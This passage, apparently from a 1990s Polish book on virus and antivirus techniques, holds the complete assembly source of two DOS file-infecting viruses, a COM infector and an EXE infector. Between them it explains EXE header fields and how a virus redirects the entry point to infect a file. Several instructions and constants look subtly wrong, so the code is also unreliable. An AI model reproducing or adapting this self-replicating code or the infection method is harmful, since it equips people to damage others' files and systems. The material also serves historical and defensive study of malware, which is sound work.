AtrSystem = 00000100b ; \ rozne stale atrybutow

AtrVolumeID = 00001000b ; / pozycji katalogu

AtrDirectory = 00010000b ; /

AtrArchive = 00100000b ; /


Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID

; atrybut poszukiwanej pozycji

; katalogu


VirusDlug = offset (VirusEnd-VirusStart)

; dlugosc kodu wirusa


VRok = 1998 ; \ data opisujaca

VMiesiac = 13 ; - pliki juz zainfekowane

VDzien = 31 ; /


VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien


DTAStruc struc ; struktura DTA bufora transmisji

; dyskowych uzywanych przez

; funkcje 4E i 4F

DTAFill db 21 dup (?) ; nieistotna czesc

DTAAttr db ? ; atrybut znalezionej pozycji

DTATime dw ? ; czas znalezionej pozycji

DTADate dw ? ; data znalezionej pozycji

DTASize dd ? ; dlugosc znalezionej pozycji

DTAName db 13 dup (?) ; nazwa znalezionej pozycji

DTAStruc ends


Start: ; tu zaczyna sie program ofiary



db 0E9h,00h,00h ; symuluj rozkaz JMP NEAR

; bedacy czescia zarazonego

; programu


VirusStart: ; tu zaczyna sie kod wirusa


mov si,word ptr ds:[101h] ; pobierz relatywny ofset do miejsca

; w pamieci, gdzie znajduje sie wirus

; wartosc ta to czesc rozkazu JMP NEAR

; na poczatku, przy pierwszym wywolaniu

; =0000h



mov al,byte ptr ds:[si+StareBajty] ; \ Przywroc zapamietane 3 bajty

mov ds:[100h],al ; \ na poczatek programu CS:100h

mov ax,word ptr ds:[si+StareBajty+1] ; / Podczas pierwszego uruchomienia

mov ds:[101h],ax ; / jest to kod Int 20h


lea dx,[si][TeInformacja] ; podaj gdzie jest tekst

Call Informacja ; spytaj o uruchomienie wirusa


jnc Infekcja ; CF=1 oznacza nie uruchamiaj

jmp BezInfekcji ; NIE - nie infekuj


Infekcja:

lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA

mov ah,1Ah ; funkcja DOS - ustaw nowe DTA

int 21h ; wywolaj funkcje DOS


lea dx,[si][MaskaCOM] ; maska poszukiwanych plikow '*.COM'

mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii

mov ah,4Bh ; funkcja DOS - szukaj pierwszej

; pozycji katalogu

int 21h ; wywolaj funkcje DOS

jc NieMaPlikuCOM ; gdy CF=1, to blad



KolejnyPlik:

cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz

; zarazony ?

je SzukajNastepnyPlik ; tak = szukaj nastepnego


mov ax,word ptr [si][NoweDTA.DTASize+2]

; pobierz starsza czesc dlugosci

; pliku

or ax,ax ; czy plik krotszy niz 65536

jnz SzukajNastepnyPlik ; nie - szukaj nastepnego


mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku

cmp ax,64000 ; czy dlugosc <= 64000

ja SzukajNastepnyPlik ; nie - szukaj nastepnego


cmp ax,3 ; czy dlugosc >= 3

jb SzukajNastepnyPlik ; nie - szukaj nastepnego


sub ax,3 ; odejmij dlugosc skoku E9 ?? ??

mov word ptr [si][Skok+1],ax ; zapisz do bufora rozkaz skoku


mov cx,AtrArchive ; podaj nowy atrybut : Archive

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1 to blad


lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu

mov ax,3D02h ; funkcja DOS - otworz plik

; do odczytu i zapisu

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1, to blad


xchg ax,bx ; przenies uchwyt pliku do BX


mov cx,3 ; ilosc czytanych bajtow

lea dx,[si+StareBajty] ; podaj dokad czytac 3 bajty

mov ah,3Fh ; funkcja DOS - czytaj z pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


mov ax,word ptr [si+StareBajty] ; wez dwa pierwsze bajty pliku

cmp ax,'MZ' ; i sprawdz czy to nie EXE

je ZamknijPlik ; gdy 'MZ', to plik EXE, powrot

cmp ax,'ZM' ;

je ZamknijPlik ; gdy 'ZM', to plik EXE, powrot


xor cx,cx ; \ zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem konca pliku

mov ax,4202h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na koniec pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


mov cx,VirusDlug ; ilosc zapisanych bajtow

lea dx,[si+103h] ; podaj skad zapisac wirusa

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


xor cx,cx ; \ zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem poczatku pliku

mov ax,4200h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na poczatek pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


mov cx,3 ; ilosc zapisanych bajtow

lea dx,[si][Skok] ; podaj skad zapisac rozkaz skoku

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA

mov dx,VZnacznik ; zaznacz infekcje pliku

mov ax,5701h ; funkcja DOS - wpisz date,czas

int 21h ; wywolaj funkcje DOS


ZamknijPlik:

mov ah,3Eh ; funkcja DOS - zamknij plik

int 21h ; wywolaj funkcje DOS


PrzywrocAtrybut:

mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h


SzukajNastepnyPlik: ; poprzedni plik byl zarazony

mov ah,4Fh ; funkcja DOS - szukaj innego

; plik COM

int 21h ; wywolaj funkcje DOS

jnc KolejnyPlik ; gdy CF=1, to blad



NieMaPlikuCOM:

mov dx,80h ; przywroc pierwotne DTA=PSP:80h

mov ah,1Ah ; funkcja DOS - ustaw nowe DTA

int 21h ; wywolaj funkcje DOS


BezInfekcji:

mov ax,100h ; \ skocz na poczatek programu

jmp ax ; / do ofiary


MaskaCOM db '*.COM' ; maska plikow COM (ASCIIZ)

StareBajty db 0CDh,20h,90h ; bufor zawiera zapamietane bajty

; z poczatku programu

; tu : kod rozkazu int 20h/NOP


Skok db 0E9h,?,? ; rozkaz skoku


; Czesc Informayjna

Informacja:

mov ah,09h ; funkcja DOS - wyswietl tekst$

int 21h ; wywolaj funkcje DOS


mov ah,01h ; funkcja DOS - czytaj znak

; ze standardowego wejscia

int 21h ; wywolaj funkcje DOS

; AL zawiera znak

push ax ; zapamietaj na chwile znak


mov ax,0E0Dh ; \ przejdz

int 10h ; \ do

mov ax,0E0Ah ; / nastepnej

int 10h ; / linii


pop ax ; przywroc znak


and al,11011111b ; konwertuj znak na wielka litere

cmp al,'T' ; czy potwierdzona infekcja

clc ; ustaw flage na TAK

je CLCRet ; TAK i powrot

stc ; ustaw flage na NIE i powrot

CLCRet:

ret ; powrot


TeInformacja db CR,LF,'KOMORKA v1.0, Autor : Adam Blaszczyk 1997'

db CR,LF

db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'

db DOLAR


VirusEnd:

NoweDTA DTAStruc <?,?,?,?,?,?>


KOMORKA ENDS

END Start


4.1.2. Pliki wykonywalne EXE

Poprzednio omówione pliki COM przeważały w początkowym okresie istnienia systemu DOS, lecz szybko zostały wyparte przez pliki EXE, które oferowały możliwość pisania programów mieszczących się w kilku segmentach.

Zarażanie plików EXE jest sprawą o wiele trudniejszą od infekcji plików COM ze względu na ich bardziej skomplikowaną budowę, a także na konieczność wykrywania systemu, dla którego plik jest przeznaczony. Pliki EXE dzielą się bowiem na tzw. stare (ang. old executab-les) i nowe (ang. new executables). Pierwsze z nich przeznaczone są tylko i wyłącznie dla systemu DOS, natomiast drugie to programy działające w środowiskach wykorzystujących tryb chroniony. Jak pokazano dalej, na podstawie danych zawartych w pliku EXE można wykryć system, dla którego jest on przeznaczony i w rezultacie plik taki zainfekować.


4.1.2.1. Pliki EXE dla systemu DOS (stare EXE)

Jak już wspomniano, pliki COM mogły zawierać w swym wnętrzu tylko jeden segment, wspólny dla kodu, danych i stosu. W przeciwieństwie do nich pliki EXE mogą zawierać programy, których rozmiary ograniczone są tylko przez wielkość dostępnej aktualnie pamięci operacyjnej, znajdującej się poniżej pierwszych 640kB. Najczęściej w programach tych jest kilka segmentów kodu i danych, a także

osobny segment stosu. Ze względu na bardziej skomplikowaną strukturę, do załadowania programów EXE system DOS potrzebuje więcei informacji, niż w przypadku plików COM. Informacje zawarte są w istniejącym na początku każdego pliku EXE nagłówku, który składa sie z dwóch części: sformatowanej i niesformatowanej. Długość sformatowanej części nagłówka jest stała i wynosi 27 bajtów, natomiast długość części niesformatowanej oblicza się na podstawie danych zawartych w nagłówku sformatowanym. W skrajnym przypadku długość części niesrormatowanej może być równa O, co często ma miejsce, gdy programy są wewnętrznie skompresowane i zminimalizowane. Opis sformatowanej części nagłówka podano poniżej.

Sformatowany nagłówek pliku EXE



00-01

Znacznik pliku EXE. MZ lub ZM

02-03

Liczba bajtów na ostatniej, 512

bajtowej, stronie programu, W praktyce oznacza, ile bajtów system DOS musi skopiować z ostatniego sektora zajmowanego przez program.

04-05

Długość całego pliku EXE, podana w 512-bajtowych stronach z uwzględnieniem nagłówka i ostatniej strony opisanej w polach 02h-03h. W praktyce oznacza ilość sektorów zajmowanych przez program,

06-07

Liczba elementów relokowalnych w programie, czyli liczba 4-bajtowych rekordów, znajdujących siew niesformatowanej części nagłówka, opisujących miejsca w kodzie programu (jako segment: przesunięcie; w każdym rekordzie przesunięcie znajduje się przed segmentem), gdzie należy dodać segment, pod który ładowany jest program

08-09

Długość nagłówka w 16-bajtowych paragrafach

0A-0B

Minimalna wymagana pamięć poza załadowanym kodem programu, podana w 16-bajtowych paragrafach

0C-0D

Maksymalna wymagana pamięć poza załadowanym kodem programu, podana w 16-bajtowych paragrafach

0E-0F

Początkowa wartość rejestru segmentowego stosu (SS) względem początku programu.

10-11

Początkowa wartość wskaźnika stosu (SP)

12-13

Suma kontrolna (zanegowana suma wszystkich bajtów w pliku), nie używana przez DOS, stąd pole to może posłużyć jako wskaźnik zainfekowania pliku

14-15

Początkowa wartość licznika rozkazów IP

16-17

Początkowa wartość rejestru segmentu kodu CS względem początku programu.

18-19

Adres pierwszej pozycji tablicy relokacji w stosunku do początku pliku. Jeżeli pole jest równe 40h lub więcej, jest to prawdopodobnie nowy plik EXE

1A-1B

Numer nakładki


Informacje zawarte w nagłówku pliku EXE zawierają wymagania programu dotyczące pamięci operacyjnej oraz ustalają początkowe wartości rejestrów SS i SP, odpowiedzialnych za stos, a także rejestrów CS i IP, wskazujących na pierwszą instrukcję programu.

Dopiero po nagłówkach pojawia się właściwy kod programu, a za nim, na końcu niektórych plików EXE przeznaczonych dla systemu DOS, znajduje się często tzw. wewnętrzna nakładka (ang. internal overlay), zawierająca dodatkowe dane lub kod programu. Wykorzystując fakt, iż znakomita większość istniejących wirusów nie zaraża plików EXE z wewnętrznymi nakładkami, można dość prosto zabezpieczyć wszystkie pliki EXE na dysku przed ewentualną infekcją. Wystarczy na końcu każdego z tych plików dopisać jeden dowolny bajt, który przez większość wirusów będzie uznawany za wewnętrzną nakładkę.

Dopiero po odczytaniu i zinterpretowaniu danych z nagłówka system może przystąpić do ładowania właściwego programu, zawartego w pliku EXE, który umieszczany jest bezpośrednio za blokiem PSP. Z powyższego wynika, iż w przeciwieństwie do programu COM obraz programu EXE wygląda inaczej w pamięci niż na dysku.

Po wczytaniu programu do wartości początkowych rejestrów CS i SS (zawartych w nagłówku sformatowanym) dodawany jest adres segmentu, pod który został on załadowany. Adres tego segmentu służy także do zmodyfikowania pewnych instrukcji w programie, które są zależne od jego faktycznego umiejscowienia w pamięci operacyjnej (są to np. rozkazy wywołań dalekich procedur i skoków oraz operacje na segmentach występujących w programie). Adresy w pamięci, które trzeba w ten sposób zmodyfikować, zawarte są w tablicy relokacji.

Pierwszą czynnością wykonywaną przez wirusa powinno być odczytanie sformatowanego nagłówka pliku potencjalnej ofiary i porównanie dwóch pierwszych bajtów programu (znacznik z pola 00h-0lh) z sekwencją 'MZ' lub 'ZM'. Jeżeli porównanie wypadło pomyślnie, istnieje duża szansa, iż jest to plik typu EXE i można go spróbować zainfekować. Drugą czynnością wykonywaną przez wirusa powinno być sprawdzenie, czy plik EXE jest programem przeznaczonym dla systemu DOS. Na pozycji 18h-19h w nagłówku widnieje wtedy wartość mniejsza od 40h, w przeciwnym wypadku jest to prawdopodobnie nowy EXE. Kolejnym krokiem wykonywanym przez wirusa powinno być sprawdzenie, czy plik EXE nie zawiera wewnętrznej nakładki. Dokonuje się tego poprzez porównanie długości całego pliku EXE (widzianej przez DOS) z długością obliczaną na podstawie pól zawartych w nagłówku (pola 02h-03h i U4h-05h). Jeżeli wartości te różnią się od siebie, plik zawiera nakładkę. Taki plik także można zainfekować, jednak wiąże się to z koniecznością przesunięcia w nim całej nakładki o długość wirusa, tak aby ten mógł umieścić swój kod bezpośrednio za obrazem ładowanym przez DOS do pamięci. Podczas uruchamiania programu EXE nakładka nie jest ładowana do pamięci bezpośrednio z programem, tak więc gdyby wirus znajdował się w pliku bezpośrednio za nią, także nie zostałby załadowany i w efekcie program by się zawieszał. Zarażone programy z wewnętrzną nakładką często nie będą działały poprawnie, zwłaszcza jeśli korzystając z nakładki nie obliczają adresów w pliku na bieżąco (tzn. na podstawie pól nagłówka), lecz korzystają z wartości stałych. Powyższe problemy sprawiają, iż większość wirusów zaprzestaje infekcji po wykryciu, iż plik EXE zawiera nakładkę i dzięki temu można zastosować opisaną wcześniej sztuczkę z 1-bajtową pseudonakładką. Infekcja pliku EXE bez wewnętrznej nakładki polega na odpowiedniej modyfikacji sformatowanej części nagłówka, tak by początkowe wartości rejestrów CS:IP (zawartych w polach 16h-17h i 14h-15h w nagłówku) wskazywały na wirusa, który zwykle dopisywany jest na końcu pliku. Najczęściej zmieniane są także początkowe wartości SS i SP (pola 10-llh i 0Eh-0Fh w nagłówku), ażeby nie okazało się, iż po uruchomieniu stos ustawiony jest na kod wirusa. Warto także zmodyfikować parametry minimalnej i maksymalnej pamięci wymaganej przez program, tak aby uwzględniały długość kodu wirusa. Prawdziwe wartości zmienianych parametrów trzeba wcześniej zapamiętać, żeby wirus po uruchomieniu mógł przekazać sterowanie do oryginalnego programu.

Inny sposób na przejęcie kontroli nad zainfekowanym programem po jego uruchomieniu polega na odnalezieniu w pliku zawierającym jego kod (np. przy pomocy łatwo dostępnej tablicy relokacji) wywołań dalekich procedur (najczęściej będących funkcjami bibliotecznymi) o 5 bajtowym kodzie 9A OO OO SS SS, gdzie SSSS:OOOO oznacza adres, pod którym znajduje się wywoływana procedura (SS SS oznacza segment, a OO OO - przesunięcie). Inicjując program, DOS dodaje do ustalonej, zawartej w pliku wartości SS SS adres, pod który został załadowany program. Zmieniając w pliku wartość SS SS:OO OO tak, by wskazywał on na wirusa, można ominąć konieczność modyfikacji pól 16h-17h i 14h-15h w nagłówku i przy okazji utrudnić odnalezienie wirusa w pliku. Tego typu wirus uruchomi się dopiero po próbie wywołania dalekiej procedury, co może zdarzyć się w dowolnym momencie programu (a nie od razu na początku).

Typowy wygląd starego pliku EXE przed i po infekcji przedstawiony został w poniższych tabelach.


Struktura niezainfekowanego pliku EXE

Zawartość pliku

Sformatowany nagłówek pliku EXE zaczynający się literami 'MZ' lub 'ZM'

Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś dane, np. nazwisko autora, nazwę programu

Właściwy kod programu

Ewentualna nakładka


Struktura zainfekowanego pliku EXE

Zawartość pliku

Sformatowany nagłówek pliku EXE zaczynający się literami ‘MZ’ lub ‘ZM' z wprowadzonymi przez wirusa zmianami

Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś dane, np. nazwisko autora, nazwę programu

Właściwy kod programu

Kod wirusa

Ewentualna nakładka; występuje bardzo rzadko, gdyż większość wirusów nie zaraża plików z wewnętrznymi nakładkami



Ponizej przedstawiono przyklad prostego nierezydetnego wirusa infekujacego pliki EXE.


;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; EGZEMA v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Prosty wirus nierezydentny plikow EXE ;

; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;

; znajdujace sie w biezacym katalogu ;

; ;

; Kompilacja : ;

; TASM EGZEMA.ASM ;

; TLINK EGZEMA.OBJ ;

; ;

;----------------------------------------------------------------------------;

EGZEMA SEGMENT

JUMPS

ASSUME CS:EGZEMA, DS:EGZEMA


NUL = 00h ; \

LF = 0Ah ; \ stale znakow

CR = 0Dh ; / ASCII

DOLAR = '$' ; /


AtrReadOnly = 00000001b ; \

AtrHidden = 00000010b ; \

AtrSystem = 00000100b ; \ rozne stale atrybutow

AtrVolumeID = 00001000b ; / pozycji katalogu

AtrDirectory = 00010000b ; /

AtrArchive = 00100000b ; /


Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrDirectory

; atrybut poszukiwanej pozycji

; katalogu


VirusDlug = offset (VirusEnd-VirusStart)

; dlugosc kodu wirusa


VRok = 1998 ; \ data opisujaca

VMiesiac = 13 ; - pliki juz zainfekowane

VDzien = 31 ; /


VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien


DTAStruc struc ; struktura DTA bufora transmisji

; dyskowych uzywanych przez

; funkcje 4E i 4F

DTAFill db 21 dup (?) ; nieistotna czesc

DTAAttr db ? ; atrybut znalezionej pozycji

DTATime dw ? ; czas znalezionej pozycji

DTADate dw ? ; data znalezionej pozycji

DTASize dd ? ; dlugosc znalezionej pozycji

DTAName db 13 dup (?) ; nazwa znalezionej pozycji

DTAStruc ends


VirusStart: ; tu zaczyna sie kod wirusa


Call Trik ; \

Trik: ; \

pop si ; / oblicz relatywny ofset

sub si,3 ; /


push cs ; \ DS=CS=kod wirusa

pop ds ; /


mov ax,es ; \ es=PSP+10h

add ax,10h ; /


add [si][StarySS],ax ; \

push [si][StarySS] ; - zachowaj wartosci stosu

push [si][StarySP] ; / dla nosiciela


add ax,[si][StaryCS] ; \

mov [si][SkokCS],ax ; \ utworz pelny rozkaz skoku

mov ax,[si][StaryIP] ; / do nosiciela

mov [si][SkokIP],ax ; /



lea dx,[si][TeInformacja] ; podaj gdzie jest tekst

Call Informacja ; spytaj o uruchomienie wirusa


jnc Infekcja ; CF=1 oznacza nie uruchamiaj

jmp BezInfekcji ; NIE - nie infekuj


Infekcja:

lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA

mov ah,1Ah ; funkcja DOS - ustaw nowe DTA

int 21h ; wywolaj funkcje DOS


lea dx,[si][MaskaEXE] ; maska poszukiwanych plikow '*.EXE'

mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii

mov ah,4Eh ; funkcja DOS - szukaj pierwszej

; pozycji katalogu

int 21h ; wywolaj funkcje DOS

jc BezInfekcji ; gdy CF=1, to blad



KolejnyPlik:

cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz

; zarazony ?

je SzukajNastepnyPlik ; tak = szukaj nastepny


cmp word ptr [si][NoweDTA.DTASize],26; czy dlugosc>=26 bajtow ?

jb SzukajNastepnyPlik ; nie = szukaj nastepny


mov cx,AtrArchive ; podaj nowy atrybut : Archive

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1, to blad


lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu

mov ax,3D02h ; funkcja DOS - otworz plik

; do odczytu i zapisu

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1, to blad


xchg ax,bx ; przenies uchwyt pliku do BX


mov cx,26 ; ilosc czytanych bajtow

lea dx,[si][Naglowek] ; podaj dokad czytac 26 bajty

mov ah,3Fh ; funkcja DOS - czytaj z pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


mov ax,word ptr [si][Naglowek] ; wez dwa pierwsze bajty pliku

cmp ax,'mz' ; i sprawdz, czy to EXE

je JestEXE ; gdy 'MZ', to plik EXE

cmp ax,'zm' ;

jne ZamknijPlik ; gdy 'ZM', to plik EXE


JestEXE:

cmp word ptr [si][Naglowek+18h],40h ; czy plik Nowy EXE ?

; (pominiete zostana takze

; niektore pliki EXE z ustawionym

; adresem tablicy relokacji > 40h)

jae ZamknijPlik ; TAK - szukaj nastepny


mov ax,word ptr [si][Naglowek+14h] ; \ zachowaj stare CS i IP

mov [si][StaryIP],ax ; \ z pliku

mov ax,word ptr [si][Naglowek+16h] ; /

mov [si][StaryCS],ax ; /

mov ax,word ptr [si][Naglowek+10h] ; \ zachowaj stare SS i SP

mov [si][StarySP],ax ; \ z pliku

mov ax,word ptr [si][Naglowek+0Eh] ; /

mov [si][StarySS],ax ; /


mov ax,word ptr [si][Naglowek+08h] ; \ wez dlugosc naglowka w

mov cx,16 ; - paragrafach i oblicz

mul cx ; / jego dlugosc w bajtach

mov bp,ax ; \ zachowaj dlugosc na pozniej

mov di,dx ; /


mov ax,word ptr [si][Naglowek+04h] ; wez ilosc stron

cmp word ptr [si][Naglowek+02h],0 ; czy ilosc bajtow na ostatniej stronie=0

jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron

cmp ax,0 ; czy ilosc stron=0 ?

jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron

dec ax ; NIE zmniejsz ilsoc stron o jedna

NieZmniejszaj:

mov word ptr [si][Naglowek+04h],ax ; zapisz na pozniej


mov cx,512 ; wez dlugosc obrazu programu w stronach

mul cx ; i oblicz jego dlugosc w bajtach

add ax,word ptr [si][Naglowek+02h] ; dodaj ilosc bajtow na ostatniej stronie

adc dx,0 ; dodaj ewentualne przeniesienie


cmp ax,word ptr [si][NoweDTA.DTASize]

; \ czy rozmiar obrazu z naglowka

jne ZamknijPlik ; \ jest rowny dlugosci pliku ?

cmp dx,word ptr [si][NoweDTA.DTASize+2]

; / TAK - infekuj

jne ZamknijPlik ; / NIE - prawdopodobnie nakladka


sub ax,bp ; \ odejmij od dlugosci pliku

sbb dx,di ; / dlugosc naglowka

; ax,dx=dlugosc kodu programu

mov cx,16 ; oblicz nowe CS i SP

div cx ; dla programu


mov word ptr [si][Naglowek+14h],dx ; zachowaj nowe IP

mov word ptr [si][Naglowek+16h],ax ; zachowaj nowe CS

add dx,100h+VirusDlug ; stos bedzie za wirusem

and dl,11111110b ; SP - najczesciej jest parzysty

mov word ptr [si][Naglowek+10h],dx ; zachowaj nowe SP

mov word ptr [si][Naglowek+0Eh],ax ; zachowaj nowe SS


mov ax,word ptr [si][Naglowek+02h] ; \

add ax,VirusDlug ; \

cwd ; \

mov cx,512 ; \

div cx ; \

add word ptr [si][Naglowek+04h],ax ; - zmien dlugosc obrazu

mov word ptr [si][Naglowek+02h],dx ; / w naglowku pliku EXE

or dx,dx ; /

jz NieDodawaj ; /

inc word ptr [si][Naglowek+04h] ; /

NieDodawaj: ; /



xor cx,cx ; \ zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem konca pliku

mov ax,4202h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na koniec pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


mov cx,VirusDlug ; ilosc zapisywanych bajtow

mov dx,si ; podaj skad zapisac wirusa

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


xor cx,cx ; \ zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem poczatku pliku

mov ax,4200h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na poczatek pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


mov cx,26 ; ilosc zapisywanych bajtow

lea dx,[si][Naglowek] ; podaj skad zapisac nowy naglowek

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA

mov dx,VZnacznik ; zaznacz infekcje pliku

mov ax,5701h ; funkcja DOS - wpisz date, czas

int 21h ; wywolaj funkcje DOS


ZamknijPlik:

mov ah,3Eh ; funkcja DOS - zamknij plik

int 21h ; wywolaj funkcje DOS


PrzywrocAtrybut:

mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut

mov ch,0 ; CX=CL

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h


SzukajNastepnyPlik: ; poprzedni plik byl zarazony

mov ah,4Fh ; funkcja DOS - szukaj innego

; pliku EXE

int 21h ; wywolaj funkcje DOS

jnc KolejnyPlik ; gdy CF=1, to blad


BezInfekcji:

push es ; \ es=ds=PSP

pop ds ; /


mov dx,80h ; przywroc pierwotne DTA=PSP:80h

mov ah,1Ah ; funkcja DOS - ustaw nowe DTA

int 21h ; wywolaj funkcje DOS


pop ax ; \ zdejmij ze stosu wartosci

pop dx ; / SS i SP nosiciela

mov ss,dx ; \ i umiesc te wartosci w

mov sp,ax ; / SS i SP


db 0EAh ; powroc do nosiciela

SkokIP dw ? ; \ czesc skoku JMP FAR

SkokCS dw ? ; /


MaskaEXE db '*.EGZE' ; maska plikow EXE (ASCIIZ)

Naglowek db 26 dup(?) ; bufor zawiera zapamietane bajty

; z poczatku programu

; tu : kod rozkazu int 20h/NOP

; Czesc Informayjna

Informacja:

mov ah,09h ; funkcja DOS - wyswietl tekst$

int 21h ; wywolaj funkcje DOS


mov ah,01h ; funkcja DOS - czytaj znak

; ze standardowego wejscia

int 21h ; wywolaj funkcje DOS

; AL zawiera znak

push ax ; zapamietaj na chwile znak


mov ax,0E0Dh ; \ przejdz

int 10h ; \ do

mov ax,0E0Ah ; / nastepnej

int 10h ; / linii


pop ax ; przywroc znak


and al,11011111b ; konwertuj znak na wielka litere

cmp al,'T' ; czy potwierdzona infekcja ?

clc ; ustaw flage na TAK

je CLCRet ; TAK i powrot

stc ; ustaw flage na NIE i powrot

CLCRet:

ret ; powrot


TeInformacja db CR,LF,'EGZEMA v1.0, Autor : Adam Blaszczyk 1997'

db CR,LF

db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'

db DOLAR


StaryCS dw 0

StaryIP dw offset Nosiciel

StarySS dw 0

StarySP dw offset Nosiciel+100h


VirusEnd:

NoweDTA DTAStruc <?,?,?,?,?,?>

Nosiciel:

mov ax,4C00h

int 21h

EGZEMA ENDS

END VirusStart



4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE)

Duża część istniejących obecnie plików EXE to tzw. nowe EXE. Mają one inną budowę niż pliki przeznaczone dla systemu DOS. Na ich początku znajduje się krótki programik działający w systemie DOS, tzw. STUB, mający za zadanie bądź wyświetlenie komunikatu, iż plik zawiera program nie działający w systemie DOS, bądź też próbę uruchomienia zawartego w pliku właściwego programu dla trybu chronionego pod kontrolą odpowiedniego dla niego środowiska, najczęściej używającego trybu chronionego, np. WINDOWS, DOS4GW. Nawiasem mówiąc, fakt istnienia programu STUB stwarza możliwość napisania programu działającego równocześnie pod dwoma systemami, np. pod DOS i WIN-DOWS. To, który z programów byłby wykonywany byłoby zależne od systemu, pod którym byśmy aktualnie pracowali. Program dla DOS-a pełniłby tu rolę programu STUB.

Po programie STUB znajduje się właściwy program przeznaczony dla trybu chronionego, posiadający, podobnie jak programy dla DOS, odpowiednio sformatowany nagłówek. Różne systemy mają różną strukturę tego nagłówka, tak więc infekcja takich programów jest o wiele trudniejsza niż w przypadku plików przeznaczonych dla DOS. Komplikacje przy pisaniu wirusów infekujących takie pliki wynikają także ze znacznych różnic, jakie występują pomiędzy trybem chronionym, dla którego są one przeznaczone, a trybem rzeczywistym, używanym przez DOS. Potencjalny twórca takiego wirusa musi uwzględniać przy jego programowaniu podstawowe cechy systemów wielozadaniowych: podział i ochronę zasobów, fakt stronicowania pamięci, połączonego z wymiataniem nie używanych obszarów pamięci na dysk (ang. swapping} oraz podział programu na oddzielne bloki danych, kodu i stosu, posiadających odpowiednie prawa dostępu, zawarte w deskryptorach. Można powiedzieć, iż bez dobrej znajomości trybu chronionego napisanie wirusa dla nowych EXE jest niemożliwe. Dowód na to stanowi stosunkowo mała liczba wirusów pisanych pod systemy Windows 3.l, Windows 95 czy OS/2 (inną ważną przyczyną tego stanu rzeczy jest utrudniony dostęp do dokładnych informacji o tych systemach).

Infekując pliki nowe EXE (za pomocą opisanej w poprzednim rozdziale metody) musimy na początku sprawdzić, czy rzeczywiście jest to plik tego typu. Porównujemy dwa pierwsze bajty pliku z sekwencją 'MZ' lub 'ZM' (na tym etapie nie jest ważne, dla jakiego systemu przeznaczony jest plik). Następnie, jeżeli porównanie wypadło pomyślnie, należy sprawdzić, czy na pozycji 18h-19h w nagłówku starego EXE znajduje się wartość 40h lub większa. Jeśli tak, to należy spróbować odczytać ewentualny nagłówek nowego EXE, w którym znajduje się odpowiedni znacznik (dwa znaki ASCII) informujący o systemie, dla którego program jest przeznaczony. Typowe znaczniki zawarto w poniższej tabeli.


Znaczniki rozszerzonego nagłówka nowych plików EXE

Znacznik

Docelowy system

NE

